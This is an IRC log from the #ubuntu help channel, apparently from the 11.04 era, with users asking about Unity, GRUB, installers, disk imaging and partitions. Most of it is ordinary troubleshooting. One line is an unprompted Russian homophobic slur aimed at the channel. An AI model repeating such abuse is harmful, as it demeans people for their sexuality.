[18:11] <ActionParsnip> iggyology: tried gnome classic desktop, or a different DE altogether?
[18:11] <DannyButterman> Hi there. Who knows how to make the drag n drop of attached files working in ubuntu thunderbird ?
[18:11] <Dr_Willis> fredrik_:  if you dont want to run it with sudo. you could (not reccomended) set the suid bit on the binary. then it alwyas runs as root even if a user runs it.
[18:11] <fredrik_> Dr_Willis, sounds right.. witch file and where? I'm feeling like a n00b
[18:12] <Dr_Willis> !startup
[18:12] <ubottu> To add programs to start up when you log into your Gnome session go to System>Preferences>Sessions and use the Startup Programs tab. For more information, see https://help.ubuntu.com/community/AddingProgramToSessionStartup - See !boot for starting non-interactive programs at boot
[18:12] <fredrik_> Dr_Willis, come again?
[18:13] <Dr_Willis> !startup  | fredrik_
[18:13] <ubottu> fredrik_: To add programs to start up when you log into your Gnome session go to System>Preferences>Sessions and use the Startup Programs tab. For more information, see https://help.ubuntu.com/community/AddingProgramToSessionStartup - See !boot for starting non-interactive programs at boot
[18:13] <Dr_Willis> read the bots url it gave. :)
[18:13] <iggyology> ActionParsnip, nope, not yet, thinking about it though
[18:13] <iggyology> it may be lighter too
[18:13] <fredrik_> Dr_Willis,  sorry... ok.. I'll try that one
[18:13] <ActionParsnip> iggyology: so your issue is with gnome, not linux
[18:13] <Pici> ActionParsnip: I think he is using Unity.
[18:14] <Dr_Willis> iggyology:  make a new user. see if they have the same issue.
[18:14] <ActionParsnip> Pici: possibly
[18:14] <NewPosix> question about ubuntu: how do you know which ubuntu you have (what is the parallel of cat /etc/redhat-release of linux)
[18:14] <NewPosix> I mean of fedora
[18:14] <ActionParsnip> Pici: seems to be fashionable to dislike it right now
[18:15]  * zizban is a raving Unity fanboy
[18:15] <ActionParsnip> NewPosix: lsb_release -a
[18:15] <genii-around> NewPosix: cat /etc/issue
[18:15] <ActionParsnip> zizban: I don't mind it, it's not as bad as everyone makes out if you ask me
[18:15] <iggyology> Dr_Willis, I'll have to try that after I'm done with Unity's support person
[18:15] <zizban> absolutely
[18:15] <multipass_> Hi, is there any way to get the new Iphone drivers that are in 11.04 over to 10.10??
[18:15] <iggyology> thanks though
[18:15] <NewPosix> ?
[18:16] <iggyology> ActionParsnip, yeah, seems like unity is too "wet behind the ears" still...
[18:16] <iceroot> !backports | multipass_
[18:16] <ubottu> multipass_: If new updated Ubuntu packages are built for an application, then they may go into Ubuntu Backports. See https://help.ubuntu.com/community/UbuntuBackports - See also !packaging
[18:16] <NewPosix> anybody?
[18:16] <iceroot> multipass_: but why does an iphone need drivers?
[18:16] <Pici> NewPosix: Two people already answered you.
[18:16] <Dr_Willis> NewPosix:  you got 2  answers.. did you not see them?
[18:16] <iceroot> NewPosix: cat /etc/issue.net
[18:17] <iceroot> NewPosix: cat /etc/issue
[18:17] <multipass_> iceroot, maybe i didnt word that correctly, but something in 11.04 gives me root directory access to my iphone, as well as access to its music-- in 10.10 i get nothing
[18:17] <iceroot> !iphone | multipass_
[18:17] <ubottu> multipass_: For information on how to sync and add tracks to your iPod, see the guide at https://help.ubuntu.com/community/IPodHowto - For the iPhone and the iPod Touch, see https://help.ubuntu.com/community/PortableDevices/iPhone - See !RockBox for information on liberating your iPod
[18:17] <fredrik_> Dr_Willis, So I put a new startup app in system->preferences->sessions and at command I wrote setpci -s 00:02.0 F4.B=20. Nothing happened at reboot.. Does "startup apps" work the same when running unity?
[18:17] <ActionParsnip> iggyology: possibly, give other DEs and they may suit you better. Gnome is default but it doesn't make it any better than the others etc
[18:17] <drhydralisk> my front panel audio connection is not working after I restarted, any help please?
[18:18] <multipass_> !edge flipping
[18:18] <mang0> I'm just wondering if I can use a virtual cd drive to run the ISO file for the ubuntu install....for instance, daemon tools lite.
[18:20] <iceroot> mang0: you can boot isos with grub2, also you can put the iso on an usb-drive
[18:20] <mang0> grub2>
[18:20] <mang0> USB isnt an option
[18:20] <Dr_Willis> fredrik_:  no idea.  if that command needs to be ran as root. that may be the issue.
[18:20] <mang0> iceroot what is grub2?
[18:20] <mang0> I'm trying to install ubuntu, long story XD
[18:20] <fredrik_> Dr_Willis, ok solved it with a uggly hack.. just put sleep 5 before the command in rc.local... Not pretty but it workes.
[18:20] <Dr_Willis> fredrik_:  you could try 'gksudo that-fancy-command'   and see if it asks for the root password. and works.
[18:20] <iceroot> mang0: is there already something running on the pcß
[18:21] <Dr_Willis> fredrik_:  oh yea. rc.local running BEFOR X gets started could be an issue
[18:21] <Dr_Willis> fredrik_:  you may want to have it sleep longer.
[18:21] <iggyology> does pasting my .xsession-errors expose my confidential information?
[18:21] <mang0> iceroot what do you mean?
[18:21] <iggyology> just wondering
[18:21] <cong06> does anyone know of a network monitor that would run from the system tray? I need some kind of replacement for conky that would work with unity...
[18:21] <iceroot> mang0: you want to install ubuntu to your pc, correct?
[18:21] <joelixny> how can I use sed to delete a line that is <?somethingsomething /> in a html document?
[18:21] <Dr_Willis> iggyology:  i wouldent think soo.
[18:21] <mang0> yes
[18:21] <fredrik_> Dr_Willis, Hope they solve this soon... this workes for now.. thanks for all the help.. I buy you a beer sometime.. ;-)
[18:22] <iggyology> mang), were you talking to me?
[18:22] <Dr_Willis> joelixny:  ive seen collections of 'sed one liners' web sites that have exasmplex of stuff like that.
[18:22] <mang0> iceroot I have two 120GB hard drives
[18:22] <iceroot> mang0: and why not using a cd or a usb-drive?
[18:22] <mang0> iggyology no heh
[18:22] <fredrik_> Dr_Willis, Yepp.. I'll make it like 20 instead...
[18:22] <Dr_Willis> fredrik_:  ive had to do similer delays for other apps in X also. like conky,
[18:22] <mang0> iceroot I have the liveCD for 10.10 but it doesn't work....it's not mounting my drives.
[18:22] <mang0> So I wanna try the alternate installer
[18:23] <drhydralisk> can anyone please help me with my audio problem?
[18:23] <iceroot> mang0: you are using fakeraid?
[18:23] <mang0> <.<
[18:23] <mang0> I don't know
[18:23]  * mang0 is a noob
[18:23] <coz_> mang0,   then you arent
[18:23] <mang0> lol k
[18:23] <dios_mio> nobody addresses the bug i reported!! --> https://bugs.launchpad.net/ubuntu/+bug/776451
[18:23] <ubottu> Ubuntu bug 776451 in Ubuntu "keyboard layouts - will the new window get the active window's layout" [Undecided,New]
[18:23] <iceroot> mang0: so the installer is not detecting your hard drives?
[18:23] <coz_> mang0,   you might want to try the mini.iso image...its only 19 megs and downloads directly from the servers
[18:23] <mang0> Nope
[18:23] <mang0> hm?
[18:24] <spankbot> anyone know about using JBOD for Ubunut?  Does each disk display as an individual disk or is it like an iSCSI target?
[18:24] <mang0> orly?
[18:24] <mang0> iceroot the installer won't detect them.
[18:24] <spankbot> JBOD  or SLED
[18:24] <mang0> coz_ what do you mean....*confused*
[18:25] <Bovola> ciao
[18:25] <coz_> mang0,      the mini  is just 19 megs... installs from the net,, aka   netinstal
[18:25] <mang0> so it just installs straight from the net?
[18:25] <mang0> O.o
[18:25] <chrome_> how can I see which version of ubuntu I have?
[18:25] <Dr_Willis> chrome_:  lsb_release -a
[18:26] <chrome_> ty
[18:26] <iceroot> chrome_: cat /etc/issue
[18:26] <coz_> mang0,  it does indeed
[18:26] <Bovola> !list
[18:26] <ubottu> This is not a file sharing channel (or network); be sure to read the channel topic. If you're looking for information about me, type « /msg ubottu !bot ». If you're looking for a channel, see « /msg ubottu !alis ».
[18:26] <spankbot> oh no, I'm trying to make a file execute by typing the command "sh filename" and I get a Syntax error: "(" unexpected
[18:27] <coz_> mang0,   however,, it will ask what you want to install at one point,, it is a list,, arrows  scroll the list  SPACE bar ticks the box
[18:27] <coz_> mang0,  would you like to try that??
[18:27] <ActionParsnip> spankbot: check the syntax of the file
[18:27] <mang0> coz_yes
[18:27] <mang0> coz_ yes*
[18:27] <coz_> mang0,     http://dl.dropbox.com/u/132551/mini.iso
[18:27] <spankbot> ActionParsnip, oh no, how do I do that?
[18:27] <chrome_> what is unity exactly?
[18:28] <mang0> so coz_ how do I use it?
[18:28] <iceroot> !unity | chrome_
[18:28] <ubottu> chrome_: Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[18:28] <ActionParsnip> spankbot: open the file in a text file? Did you create the file or did you download it?
[18:28] <coz_> mang0,  burn that to disk...it will not work on usb ,, even though i have tried over and again
[18:28] <ActionParsnip> chrome_: http://en.wikipedia.org/wiki/Unity_(desktop_environment)
[18:28] <mang0> is there no way I can install without burning a disk/usb coz_
[18:28] <mang0> ?
[18:28] <groo> i just learned the hard way that gnome 3 does >not< play well with unity
[18:29] <spankbot> ActionParsnip, oh no, when I go to open the file I get an error, "There is no application installed for executable files"
[18:29] <coz_> mang0,   I have tired  over and again to burn this to usb without success
[18:29] <chrome_> nice one ActionParsnip :)
[18:29] <ActionParsnip> spankbot: then you don't need sh. Just run the file as you would a normal executable
[18:29] <coz_> mang0,  it burns fine but refuses to boot
[18:29] <ActionParsnip> chrome_: I simply websearched
[18:29] <mang0> coz_ is there not a way to install it without ANY burning of ANYTHING?
[18:29] <ActionParsnip> coz_: did you MD5 test the image?
[18:30] <spankbot> oh no, gedit has not been able to detect the character encoding.
[18:30] <spankbot> Please check that you are not trying to open a binary file.
[18:30] <spankbot> Select a character encoding from the menu and try again.
[18:30] <iceroot> mang0: yes you can install ubuntu without burning a cd or use a usb-drive but why go the hard way?
[18:30] <coz_> ActionParsnip,  yes and  still i do recall reading somewhere that the mini.iso will not work on usb  and I always use netbootin
[18:30] <iceroot> mang0: just burn a cd or use usb
[18:30] <llutz> mang0: you can use debootstrap if you already have a running linux-sys
[18:30] <coz_> mang0,  no not that I am aware of,, you are not able to burn cd?
[18:30] <adeadas> вы все ПИДОРАСЫ
[18:30] <mang0> iceroot because I only have like, 5 cd's that are NOT rewritable
[18:30] <mang0> and I don't wanna have 2 liveCDs/installers
[18:30] <mang0> ...
[18:30] <iceroot> mang0: then you one of them
[18:31] <mang0> aw screw it
[18:31] <mang0> alternate installer
[18:31] <mang0> for 11.04
[18:31] <llutz> mang0: do you have grub2 installed? it can boot from ISO
[18:31] <mang0> COME TO ME
[18:31] <iceroot> mang0: its not the fault of a failed burn that the live-cd isnt detecting your drives
[18:31] <FloodBot1> mang0: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[18:31] <Pici> mang0: See https://help.ubuntu.com/community/Installation particlarly "Installation without a CD" and "Server and Network installtions"
[18:31] <lxs-makoto> so i was dd'ing an old hdd, and it epicfails. http://pastebin.com/S8Hh4JfT - can anybody tell me how im gonna be able to dump the contents of the hdd in linux?
[18:31] <mang0> ARGH
[18:31] <k_sze> oh great
[18:31] <ActionParsnip> coz_: i believe it does, I've used it myself :)
[18:31] <Younder> lxs-makoto, dump or dd
[18:32] <mang0> iceroot why is it not detecting my drives then?
[18:32] <coz_> ActionParsnip,  wow then I will have to troubleshoot the issue at some point
[18:32] <gedO> Guys, how to swich froem gnome to oanother enviroment?? I have gnome and isntalled LXDE
[18:32] <lxs-makoto> i just want to get a raw backup of the drive.
[18:32] <k_sze> I was trying to install Google Chrome from deb package on my newly-installed Xubuntu 11.04.
[18:32] <zizban> logout, select your session, log back in
[18:32] <Younder> lxs-makoto, then dd
[18:32] <Pici> gedO: Log out and select it from the sessions menu at the login screen.
[18:32] <iceroot> mang0: because you are using fakeraid or your controller is not supported or your harddrives are not detected from the bios
[18:32] <coz_> mang0,  if you burn that mini.iso ,, even though it is on ly 19 megs  it will always install the most current updates
[18:32] <k_sze> totally messed up Package Manager
[18:32] <ActionParsnip> coz_: yeah unetbootin will take the ISO as far as I remember
[18:32] <nikop> hello, can somebody help me? I updated Xubuntu to the newest version yesterday. Now I cannot find my Multiboot -menu by pressing SHIFT on startup, what i can do?? Do i have my Windows partiotion anymore??
[18:33] <mang0> iceroot would I know if I was using fakeraid? cos I don't think I am....I think it is my controller
[18:33] <gedO> @Pici: Great :0 THX
[18:33] <ActionParsnip> k_sze: you can add the daily PPA and install it that way, gives a nice new version with snazzy features :)
[18:33] <coz_> ActionParsnip,  tried over and again.. but if you have done it then that just gives me incentive to troubleshoot it :)
[18:34] <lxs-makoto> so how would I go about doing a dd of this hard drive if it doesnt seem to want to?
[18:34] <Younder> nikop,  It's still there. You jsut have to access the grub menu
[18:34] <ActionParsnip> coz_: could grab the daily, pretty much the same deal
[18:34] <k_sze> ActionParsnip: ya, but I still need to fix package manager
[18:34] <llutz> lxs-makoto: try gddrescue
[18:34] <k_sze> I get some weird message about "E: Encountered a section with no Package: header"
[18:34] <coz_> ActionParsnip,  yeah I realize that,, but the mini.is cool :)
[18:35] <BlaDe^> Can anyone help me with making a user locked down a little more?
[18:35] <ActionParsnip> coz_: very :)
[18:35] <mang0> so how do I install grub2?
[18:35] <mang0> !grub
[18:35] <ubottu> GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[18:35] <nikop> Younder, How can i access that grub menu?? Before yesterday I got the grub menu by pressing and holding SHIFT on startup, now it doesnt work!! :(
[18:35] <mang0> !grub install
[18:35] <mang0> dammit
[18:36] <ThinkT510> !brain | mang0
[18:36] <ubottu> mang0: Hi! I'm #ubuntu's favorite infobot, you can search my brain yourself at http://ubottu.com/factoids.cgi | Usage info: http://ubottu.com/devel/wiki/Plugins | Bot channels and general info: https://wiki.ubuntu.com/IRC/Bots
[18:36] <mang0> :3
[18:36] <iceroot> mang0:  thought about using ubuntu 11.04 with better hardware support?
[18:36] <iceroot> mang0: is your bios detecting the harddrives?
[18:36] <Cassini_> any idea why my nvidia drivers are loading but won't be put to use? in the log file it just says failed to initialize NVIDIA GPU at PCI:1:0:0. check system kernel log. I checked... I see nothting there.
[18:36] <mang0> iceroot permission to PM you? I can't concentrate here...
[18:36] <mang0> yes I know, !ask...
[18:37] <nikop> Younder, and i have Grub version 1.99~rc1-13ubuntu3 installed
[18:37] <eternicode> my wireless card seems to be stuck in promiscuous mode, as all traffic on my network is hitting my machine, whether or not it's the destination/source.  I've tried "ifconfig wlan0 -promisc" to no avail.  Any ideas?
[18:37] <Younder> Cassini_, Yes, there is a interrupt conflict. Both IDE scci0 and display want to use irq 16. Check with lshw
[18:38] <mang0> So 11.04 has better support for drivers then 10.10?
[18:38] <mang0> iceroot may I PM you?
[18:38] <novitololo> Hello.  I'm having problems with VirtualBox trying to run Windows under Ubuntu 10.10.  It doesn't recognize my CD/DVD, it is not shown...
[18:38] <Cassini_> Younder, is where will I change the irq # to use?
[18:38] <Younder> nikop, This is a new grub version which behaves differently. Check the grub documentation
[18:39] <nikop> How?
[18:39] <nikop> Younder, how? :)
[18:39] <OneKorea> Hello, I wanna install ubuntu but retain all data on current D: partrition of windows vista, how hard is that / does ubuntu installer supports it? thanks!
[18:39] <ThinkT510> mang0: 11.04 uses a newer kernel than 10.10 so there are driver updates and whatnot
[18:39] <mang0> okay cool
[18:39] <enzotib> hi all, i would install "timidity" with suggested packages, but --install-suggests option of apt-get do not seem to work, also -o APT::Install-Suggests=1 do not work
[18:39] <P_Kable> Hello, I have to reset every 5 mn under natty, anyone got that too ?
[18:40] <masterburner> when I boot into ubuntu classic, all my window borders are gone... how do I fix this?
[18:40] <k_sze> "The package lists or status file could not be parsed or opened."
[18:41] <CryptKper> Can someone tell me how to restore the ubuntu software center to its classic look. after my upgrade everything shows up in a single file line.
[18:41] <Younder> Cassini_, I Have sent a bug report. Technically this should not happen as a separate demon  assigns the interrupts. I have just decided to wait to they have a fix..
[18:41] <ThinkT510> OneKorea: you can install ubuntu and access any partitions just fine yes
[18:41] <OneKorea> thanks
[18:41] <ThinkT510> np
[18:41] <xavier_> nick xaiev
[18:41] <xavier_> ooops
[18:41] <xaiev> hi there
[18:42] <Younder> CryptKper, When you log in and click the user (but haven't entered the passwd yet) on the bottom line you can select classic
[18:42] <xaiev> i'm trying to install latest 11.04 from a usb key and apt-get fails not finding the cdrom - tried 'cdrom-detect/usb=true'
[18:42] <masterburner> when I boot into ubuntu classic, all my window borders are gone... how do I fix this?
[18:42] <xaiev> was the same with 10.10 :/
[18:43] <CryptKper> Younder, Ubuntu Software Center, unity isnt the issue.
[18:43] <Dr_Willis> Hmm. I just noticed that Chromium and google chrome both start the first time with their 'pick a search engine' dialog window 1/2 way off the screen at the bottom.
[18:43] <Dr_Willis> masterburner:  try alt-f2 and run 'metacity --replace' or 'compiz --replace'
[18:43] <ThinkT510> P_Kable: you'll need to give more details so that we can figure out your problem
[18:44] <KM0201> xaiev: why would you even need to use that command?  usually i just boot an ISO i've put on the thumb drive, and install.. what issue are you having again?
[18:44] <masterburner> Dr_willis: already tried both, doesn't help... not even after a reboot
[18:44] <KM0201> Dr_Willis: yeah... kinda ironic they don't "force" one on you like some browsers.. :0
[18:44] <Dr_Willis> masterburner:  try it in a terminal, look for error emssages.. metacity should work on any setup
[18:44] <Dr_Willis> KM0201:  i just found it odd that the window was in a bad spot.
[18:45] <KM0201> ya
[18:45] <Dr_Willis> KM0201:  and it affected both chromouim browser and google chrome.
[18:45] <masterburner> Dr_willis: I think I found a fix... brb
[18:45] <Dr_Willis> There are some neat 'unity' tricks these browsers are doing  from what ive seen on the blog sites. :) progress bars in the icon.
[18:45] <xaiev> KM0201, If you get "Incorrect CD-ROM detected" error on detection stage, reboot, press F6 and then ESC to go to manual boot line editing, and add the option 'cdrom-detect/try-usb=true'
[18:46] <xaiev> found on ubuntu.com
[18:46] <ActionParsnip> xaiev: I've seen a few users say they had liveusb expect a cd
[18:46] <centHOGG> xbmc library mode anyone?
[18:46] <KM0201> xaiev: strange, never had that issue.. are you rying to use the alt. cd?
[18:46] <xaiev> no the regular one
[18:46] <ActionParsnip> !details | centHOGG
[18:46] <Cassini_> Younder, I don't see anything else using irq 16 on my box
[18:46] <ubottu> centHOGG: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[18:46] <Younder> CryptKper, Oh I see. Rightclick background. select change desktop background, on the first tab select classic
[18:47] <xaiev> KM0201, was the same w/h 10.10 my personal laptop & another usb stick
[18:47] <xaiev> anyway i can bypass apt to check for the cdrom and install package from online repositories?
[18:49] <OneKorea> ThinkT510, hm this means i need to use wubi installer or the 'real' full one can do as well? (to install ubuntu but save current Window's D: NTFS partrtition, ubuntu can read NTFS?)
[18:49] <CryptKper> Younder, please read my entire sentence. IN ubuntu software center, all of the software categories are being displayed in a single line, how do i restore the setting for 'ubuntu software center'
[18:50] <ThinkT510> OneKorea: yes, ubuntu reads and writes ntfs partitions on a full real install, it won't overwrite anything there
[18:51] <OneKorea> oh thats lovely
[18:52] <ThinkT510> OneKorea: its an easy install process, the hardest part is partitioning, but that is simple when you know how
[18:52] <KM0201> OneKorea: actualy, a "wubi install" is not a real, full install.. and i personally wouldn't do it.. but thats just my opinion
[18:52] <KM0201> OneKorea: to clarify, i wouldn't do an install w/ wubi.
[18:52] <OneKorea> of course not, i want full install, bye bye to windows, but want my DATA xD
[18:52] <salomonv> hi guys, my unity launcher won't hide anymore, for some reason, is there any way to force it to hide?
[18:52] <KM0201> OneKorea: have you ever used ubuntu?
[18:53] <zizban> salomonv, is it in Unity2d? Nvidia drivers?
[18:53] <salomonv> don't know about 2d, i'm running standard natty, but yes, nvidia drivers
[18:53] <KM0201> OneKorea: nuking windows right off the bat, only means you're going to be reinstalling windows within a week... set up a dual boot, and learn the OS... dual boot for at least 6mo.
[18:53] <OneKorea> yea, i have some experience with linux distros, no problem, just wondered about ubuntu installer, im not completely newb
[18:53] <salomonv> zizban: don't know about 2d, i'm running standard natty, but yes, nvidia drivers
[18:53] <CryptKper> salomonv, clean install or upgrade?
[18:53] <andreaborman> I have installed Linux Mint 9 alongside my Windows 7 starter on one of my computers.
[18:53] <salomonv> CryptKper, upgrade
[18:54] <zizban> salomonv, you have to install unity2d manually. Yeah, Nvidia is a problem right now.
[18:54] <ThinkT510> !mint | andreaborman
[18:54] <ubottu> andreaborman: Linux Mint is not a supported derivative of Ubuntu. Please seek support in #linuxmint-help on irc.spotchat.org
[18:54] <salomonv> zizban, so I need to install unity2d then? for the record, this is the second time today this has happened (rebooted last time) - i had no problems till today
[18:55] <CryptKper> salomonv, turn off your nvidia driver, reboot, turn it back on, reboot, should be fine.
[18:55] <chrome_> Why gnome3 is not the ubuntu main desktop?
[18:55] <andreaborman> I did this by mounting it the ISO file on virtual clone drive and used the mint 4 windows installer. So mint can be uninstalled again if I want like any of my other Windows programs
[18:55] <ActionParsnip> chrome_: you can add it
[18:55] <ActionParsnip> !gnome3
[18:55] <salomonv> CryptKper, should be fine forever, or for just this time?
[18:55] <ubottu> Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[18:55] <zizban> chrome: because Gnome3 sucks :-)
[18:55] <CryptKper> salomonv, good question.
[18:55] <chrome_> ok
[18:55] <coz_> chrome_,   gnome  3 uses mutter   11.04  decided to not use mutter and replace it with compiz as the compositor
[18:56] <andreaborman> I have Linux Mint 9 gnome by the way it's the easiest one to use.
[18:56] <salomonv> CryptKper, last time a reboot did the trick but now it happened again. Only thing I can think of is I started to use different workspaces today
[18:56] <iggyology> anyone experienced with natty?
[18:56] <KM0201> andreaborman: maybe, but offtopic here..
[18:56] <ActionParsnip> iggyology: as experience as you can be
[18:57] <deostroll> I need some help with formatting the USB. I am referring this article: http://www.cyberciti.biz/faq/howto-format-usb-pen-drive/ . it says assume /dev/sda1 is the partition name for usb pen...I don't get this part...
[18:57] <iggyology> can you tell me why the Firefox icon isn't showing in the launchbar when there's an open window?
[18:57] <ActionParsnip> iggyology: are you using unity?
[18:57] <Wolf_22> I'm trying to install Tomcat to a Natty VM and I *think* everything is fine so far, but I want to ensure that the JAVA_HOME var "sticks" after reboot. Is this done through the startup.sh?
[18:57] <KM0201> deostroll: you have to find what drive lable your thumb drive has... the instructions are assuming it is sda1 (coudl be sdb1, sdc1, sdd..e tc..)
[18:58] <ActionParsnip> Wolf_22: add it in ~/.bashrc
[18:58] <iggyology> ActionParsnip, yes I am
[18:58] <deostroll> KM0201, how do I find out?
[18:58] <Wolf_22> Thanks Action. Will do.
[18:58] <jrib> Wolf_22: what is "the startup.sh"?
[18:58] <ActionParsnip> iggyology: that's why. Unity uses globalmenu
[18:58] <gp5st> is there anyway to create a tmp file that resides in memory only?
[18:58] <coz_> deostroll,   you can install netbootin  or  I believe its called  image writer or go to system/administraton/startup disk creator
[18:58] <KM0201> deostroll: are ou just trying to format it as ext3?.. you do realize gparted can do that w/ a fairly simple GUI don't you?
[18:58] <iggyology> ActionParsnip, can you tell me how to get the icons back in the launch bar?
[18:59] <salomonv> anyhow, there is no way to invoke the launcher to hide?
[18:59] <ActionParsnip> iggyology: you may get luck if you boot to gnome classic then start compiz, may help
[18:59] <deostroll> KM0201, coz_ i kinda want to dos format it...
[18:59] <iggyology> ActionParsnip, I wish there was a way for me to get the Unity to work
[18:59] <coz_> deostroll,  ah ok
[19:00] <KM0201> deostroll: terminal isn't dos
[19:00] <iggyology> but if you think that it's too new than I'll switch
[19:00] <andreaborman> KM0201 Linux mint is based on ubuntu they say. But I have tried ubuntu installed in the same way as I did with Mint. but it does not have a Windows type start menu like Linux mint does. which make it more familiar for Windows users like me.
[19:00] <Wolf_22> jrib: It was my understanding that it was the Natty version of a startup.
[19:00] <Wolf_22> (startup file, that is.)
[19:00] <deostroll> KM0201, no but the article does say I can do a mkfs.vat
[19:00] <gnude> hello, i like to show you my blog about my experiences with debian: http://erfahrungenmitdebian.blogspot.com/
[19:00] <LuckyNeo> What steps should I take to update to Ubuntu 11.10 beta 2?
[19:00] <deostroll> *mkfs.vfat
[19:01] <KM0201> andreaborman: it really doesn't matter, its still off topic in this channel (no its not easier, it's just got a different GUI, theya re the essentially the same OS)
[19:01] <ccallahan|School> (10.04.2) If I were to setup a Jailkit on a desktop environment, what programs to I need to whitelist for GNOME, Firefox, OOo, and the Network Share Mounter (On the places menu)?
[19:01] <ThinkT510> LuckyNeo: 11.04 is no longer beta
[19:01] <deostroll> my main concern is what comes after the mkfs.vfat part...i.e the argument...
[19:01] <ThinkT510> LuckyNeo: oops, sorry, misread
[19:02] <KM0201> LuckyNeo: i don't think 11.10 is public yet.. but i could be wrong.
[19:02] <crazyrohila> can i upgrade my 10.04 to 11.04
[19:02] <KM0201> crazydiamond: no
[19:02] <KM0201> crazy 10.04>>10.10>>>11.04 is what you'd neeed to do
[19:02] <andreaborman> Well i must admit when I tried the new version of ubuntu 11 it is beter than the old because at least with the new version. It recognised my wifi so I could connect wirelessly to the internet.
[19:02] <ccallahan|School> Oh, and WiFI
[19:02] <crazydiamond> KM0201: ?
[19:03] <ablaze> hi everyone
[19:03] <Pici> LuckyNeo: 11.10 has not yet reached alpha status.
[19:03] <LuckyNeo> Oh I'm sorry
[19:03] <ablaze> I hope this is the right place to come to search for a solution
[19:03] <KM0201> crazydiamond: ?
[19:03] <andreaborman> And it was not so difficult to use as the old version either.
[19:03] <crazyrohila> ThinkT510: can i upgrade my 10.04 to 11.04
[19:03] <jrib> Wolf_22: I'm not familiar with this file.  Where is it located?
[19:03] <Dr_Willis> ablaze:  theres here, theres the forums and theres that askubuntu web site. :)
[19:03] <usr13> andreaborman: YOu can make Ubuntu look exactly like MS Windows, it's just a matter of changing the theme.  If that will make things easier for you, go for it.
[19:03] <crazydiamond> KM0201: you wrote <KM0201> crazydiamond: no
[19:03] <KM0201> crazyrohila: no, you can't.. 10.04>>10.10>>11.04 would be what you'd have to do, you can't do it directly
[19:03] <ThinkT510> crazyrohila: you'll have to update to 10.10 then to 11.04
[19:04] <Dr_Willis> I want to make ubuntu look like my C64 GeOs :)
[19:04] <andreaborman> I can only do simple things on Linux. I cannot tweak it like I can Windows.
[19:04] <KM0201> crazydiamond: sorry.. to many "crazy's" here.. :)
[19:04] <crazydiamond> wasn't it to me?
[19:04] <crazydiamond> oek :)
[19:04] <crazydiamond> *ok
[19:04] <deostroll> KM0201, coz_ where can I learn more about /dev/sda, sda1, sdc, etc...
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[19:04] <usr13> andreaborman: you can if you learn how.
[19:04] <Pici> Its spam. Ignore it.
[19:04]  * KM0201 sighs.
[19:04] <Dr_Willis> andreaborman:  check out http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[19:04] <ccallahan|School> Yummy Spam ;)
[19:04] <KM0201> deostroll: google... thee's tons of walk throughs usually cli to format a drive.
[19:05] <KM0201> deostroll: you ust happened on one that sucked
[19:05] <Dr_Willis> you format a filesystem.. you partion a drive into filesystmes. :)
[19:05] <ablaze> in fact, i have upgraded to 10.10 and i was not able to start ubuntu (i have wubi installed) ::: then I used live USB to recover wubldr file and then it starts but it blocks on Ubuntu screen with dots moving underneath and nothing happens ::: what to do please?
[19:05] <deostroll> KM0201, i did so...i want to understand what the /dev/* means...
[19:05] <deostroll> what should i b looking for...
[19:05] <iggyology> How many people here have tried Unity and not liked it?
[19:06] <KM0201> deostroll: /device/then whatever its designated as...
[19:06] <tsimpson> iggyology: this is not a polling channel, #ubuntu-offtopic for general chat
[19:06] <ccallahan|School> (10.04.2) If I were to setup a Jailkit on a desktop environment, what programs to I need to whitelist for GNOME, Firefox, OOo, Wi-Fi, and the Network Share Mounter (On the places menu)?
[19:06] <usr13> deostroll: /dev/*   means everything that is in the /dev/  directory.
[19:06] <KM0201> deostroll: you should be using the GUI so you don't screw something up... crawl before you sign up for a marathon
[19:06] <ablaze> i m totally newbie and know almost nothing about ubuntu ::: can someone help me please
[19:07] <coz_> !ask | ablaze
[19:07] <ubottu> ablaze: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[19:07] <andreaborman> I would like to remove my pasword on Linux so that I don't have to enter it every time I install software or make changes to my computer on Linux. On windows I do not have any passwords. I just turn on my computer and go and do what I want(adjust settings) without any password. It would be nice if I could do this on linux.And not have a password.
[19:07] <ThinkT510> deostroll: maybe look up some documentation of the file structure of linux, it sounds like you are unfamiliar
[19:07] <usr13> ablaze: Sure, what is your question?
[19:07] <iggyology> tsimpson, can you tell me how to get the Firefox icon to show up in the launch bar?
[19:07] <Dr_Willis> !dev
[19:07] <ubottu> Interested in becoming an Ubuntu Developer? Get started here: https://wiki.ubuntu.com/UbuntuDevelopment
[19:07] <ozanorhan> Hi, is it any harm to remove keyring or should i stop its disturbing password questions at start up ?
[19:07] <KM0201> andreaborman: you're not gonna get anyone here to tell you how to do that
[19:07] <tsimpson> iggyology: no, but someone else here probably can
[19:07] <deostroll> ThinkT510, i did that I got stuff like inode and stuff like that...
[19:08] <ablaze> i have already asked ::: i re-ask: in fact, i have upgraded to 10.10 and i was not able to start ubuntu (i have wubi installed) ::: then I used live USB to recover wubldr file and then it starts but it blocks on Ubuntu screen with dots moving underneath and nothing happens ::: what to do please?
[19:08] <Dr_Willis> thres some 'Linux Filesystem Hiarchy' guide/site/docs that detail the filesystem layout. I cant rember the factoid for it.
[19:08] <iggyology> tsimpson, what do you use for Linux OS?
[19:08] <Pici> !hier | Dr_Willis
[19:08] <andreaborman> Why is not having a password on Linux dangerous?
[19:08] <Pici> !heir | Dr_Willis
[19:08] <coz_> !filesystem
[19:08] <ubottu> An explanation of how files and directories are organized on Ubuntu, and how they can be manipulated, can be found at https://help.ubuntu.com/community/LinuxFilesystemTreeOverview  see also: man hier
[19:08] <usr13> andreaborman: It's not a good idea to have a blank password.
[19:08] <Pici> hrm
[19:08] <tsimpson> iggyology: I use Kubuntu
